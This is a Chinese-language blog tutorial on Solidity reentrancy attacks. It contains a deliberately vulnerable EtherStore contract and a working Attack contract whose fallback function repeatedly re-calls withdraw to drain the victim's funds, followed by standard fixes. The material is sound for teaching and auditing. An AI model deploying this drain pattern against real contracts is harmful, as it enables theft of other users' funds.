当前位置: 首页 > news >正文

智能合约“黑暗森林”:复现 DeFi 重入攻击,AI 竟然比黑客更快发现了合约漏洞?

标签:#Web3 #BlockchainSecurity #Solidity #AI #Reentrancy


🩸 前言:当 ATM 机发疯的时候

想象一下,你在这个世界上有一台特殊的 ATM 机。
如果你去取 100 块钱,它的流程是这样的:

  1. 检查余额:看你卡里有没有 100 块。
  2. 吐钞:把 100 块吐给你。
  3. 扣款:把你账户里的余额减去 100 块。

听起来没问题?黑客的思路是这样的:
在步骤 2(吐钞)和步骤 3(扣款)之间,我大喊一声:“再给我取 100 块!”
因为步骤 3 还没执行,ATM 机觉得你余额还在,于是再次执行步骤 2
如此循环,直到提空 ATM 机的所有现金。

这就是重入攻击的本质。


🕳️ 一、 漏洞现场:一个典型的“提款机”合约

我们写一个简易的银行合约EtherStore.sol。它允许用户存钱,并提现。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address => uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] += msg.value; } // 取钱 (漏洞就在这里!) function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); // 1. 发送以太币 (Interaction) // 使用 .call 发送 ETH 会触发接收方的 fallback 函数 (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); // 2. 更新余额 (Effects) // 致命错误:钱发完了才扣余额! balances[msg.sender] = 0; } }

🤖 二、 人机对决:谁先发现漏洞?

🧑‍💻 选手 A:人类黑客

人类黑客需要:

  1. 通读代码。
  2. 识别call函数。
  3. 检查状态变量balances的更新位置。
  4. 脑补调用流程,确认不符合 “Checks-Effects-Interactions” 模式。
    耗时:熟手约 1-5 分钟,新手可能看不出来。
🤖 选手 B:AI 安全审计员 (GPT-4 / Claude 3.5)

我们将上述代码直接喂给 AI,Prompt 只有一句:“审计这段 Solidity 代码的安全性。”

AI 的回答(秒回):

严重漏洞警告:重入攻击 (Reentrancy)
withdraw函数中,合约先通过msg.sender.call发送以太币,然后才将余额balances[msg.sender]更新为 0。
攻击者可以创建一个恶意合约,在其fallbackreceive函数中再次调用withdraw。由于余额尚未更新,第二次调用仍然会通过require(bal > 0)检查。

结果:AI 耗时 < 3 秒。
在标准化漏洞扫描上,AI 的效率已经对人类形成了降维打击。


⚔️ 三、 攻击复现:清空金库

既然 AI 指出了路,我们就来当一回“黑客”。
我们需要编写一个Attack.sol合约来配合攻击。

攻击原理图 (Mermaid):

1. 存入 1 ETH
2. 调用 withdraw

受害者逻辑

3. 触发 Fallback
4. 递归调用 withdraw

检查余额 > 0

发送 ETH (call)

攻击者 Fallback 函数

5. 更新余额 (太晚了)

循环直到掏空

攻击者合约

受害者合约 EtherStore

攻击合约代码:

contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 接收 ETH 时会自动触发 fallback() external payable { if (address(etherStore).balance >= 1 ether) { // 只要受害者合约里还有钱,就继续吸血! etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); // 1. 先存点钱进去,取得信任 etherStore.deposit{value: 1 ether}(); // 2. 开始提款,触发连环陷阱 etherStore.withdraw(); } }

战况推演:

  1. 受害者合约里有 10 ETH(其他用户的钱)。
  2. 攻击者存入 1 ETH。
  3. 攻击者调用attack()->etherStore.withdraw()
  4. etherStore发送 1 ETH 给Attack
  5. Attack收到钱,触发fallback()
  6. fallback()再次调用etherStore.withdraw()
  7. 此时etherStore还没来得及把攻击者的余额清零!它以为攻击者还有 1 ETH。
  8. etherStore再次发送 1 ETH……
  9. 循环直到etherStore余额归零。

🛡️ 四、 防御:AI 给出的修复方案

不仅能攻,还能防。AI 给出了两种标准的修复方案:

方案 1:检查-生效-交互 (Checks-Effects-Interactions)

先改状态,再发钱。

function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0); // 1. 先扣钱 (Effects) balances[msg.sender] = 0; // 2. 再发钱 (Interactions) (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send"); }
方案 2:防重入锁 (ReentrancyGuard)

使用 OpenZeppelin 的修饰符。

// 引入 ReentrancyGuard import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract EtherStore is ReentrancyGuard { // 加上 nonReentrant 修饰符,同一个交易内禁止递归进入 function withdraw() public nonReentrant { // ... 业务逻辑 } }

🎯 总结

Web3 的世界是残酷的。以前,你需要懂汇编、懂 EVM 才能发现深层漏洞。
现在,AI 极大地降低了“作恶”和“行善”的门槛

  • 对于开发者:在部署合约前,务必把代码丢给 AI 跑一遍审计。它不一定能发现所有逻辑 Bug,但像重入攻击这种经典漏洞,它一抓一个准。
  • 对于黑客:AI 正在成为最高效的“漏洞扫描器”。

Next Step:
不要只看文章。去Remix IDE上部署这两个合约(EtherStore 和 Attack),亲自体验一下余额瞬间归零的震撼。这是理解区块链安全最快的方式。

http://www.jsqmd.com/news/273272/

相关文章:

  • 深度解析6款论文辅助工具,提供专业公式编辑技巧指南
  • 论文写作必备工具清单:6大平台测评与公式编辑资源
  • adsldp.dll文件损坏找不到问题 免费下载方法分享
  • Rocketmq Dashboard jar 包启动,使用启动命令参数,修改 NameServer 的地址
  • 2.网络通信知识点
  • 2026年行业内质量好的截止阀企业哪家好,电动闸阀/暗杆闸阀/铸钢闸阀/手动盲板阀/硬密封球阀,截止阀供应商联系电话 - 品牌推荐师
  • 想找口碑好的展柜制作厂电话?文博展示! - 工业品牌热点
  • AdvancedEmojiDS.dll文件丢失找不到问题 免费下载方法分享
  • advapi32.dll文件损坏丢失了 免费下载方法分享
  • 2026国内最新仿香定制香精生产厂家top5推荐!广东广州优质品牌及厂商全面解析,专业定制服务助力行业创新发展 - 品牌推荐2026
  • 实用指南:一体化系统(九)智慧社区综合报表——东方仙盟练气期
  • advapi32res.dll文件丢失找不到问题 免费下载方法分享
  • 深聊西安新华电脑软件学校怎么样,教学特色全知道 - 工业品牌热点
  • 论文写作全流程工具指南:6大平台与公式编辑详解
  • 2026年藏红花公司权威推荐:燕窝品牌排名、燕窝品牌排行榜、燕窝哪个牌子最好、燕窝哪个牌子最正宗、燕窝排名、燕窝排行榜选择指南 - 优质品牌商家
  • 重磅升级 | ooder-agent v0.6.2来袭!筑牢记忆存储基石,开启A2UI与SKILLFLOW变革新篇
  • AWS SAM CLI 路径遍历漏洞分析与修复详解
  • 2026年标本密集柜厂家权威推荐榜:手摇密集档案柜/手摇式密集柜/手摇式移动密集柜/标本密集柜/档案室密集柜/档案室用密集柜/选择指南 - 优质品牌商家
  • ooderAgent 一句话生成Skill应用的底层逻辑:不止是代码生成,更是标准化与自主协作的胜利
  • aeinv.dll文件丢失损坏怎么办? 免费下载方法分享
  • 橡胶辊生产企业费用情况分析,泰兴金茂辊业收费合理 - 工业品牌热点
  • kazumi规则
  • Codigger 官网新界面上线,诚邀体验全新浏览风貌
  • 2026国内最新奇华顿香精生产厂家top5推荐!广东广州优质品牌及厂商全面解析,合规安心助力品质香氛体验 - 品牌推荐2026
  • 2026瑶鸾古筝Y508系列:口碑厂家实力排行大揭秘,瑶鸾古筝Y103系列(梦蝶),瑶鸾古筝供应商找哪家 - 品牌推荐师
  • 硕博论文降AI专用:5款高端工具推荐
  • 无人机视角泥石流检测数据集VOC+YOLO格式21214张4类别
  • 2026降AI工具红黑榜:哪些值得用,哪些是坑
  • 2026最新测评:写小说软件哪个好用?6款AI写小说神器测评(附投稿攻略)
  • 英文论文降AI率:5款海外工具实测推荐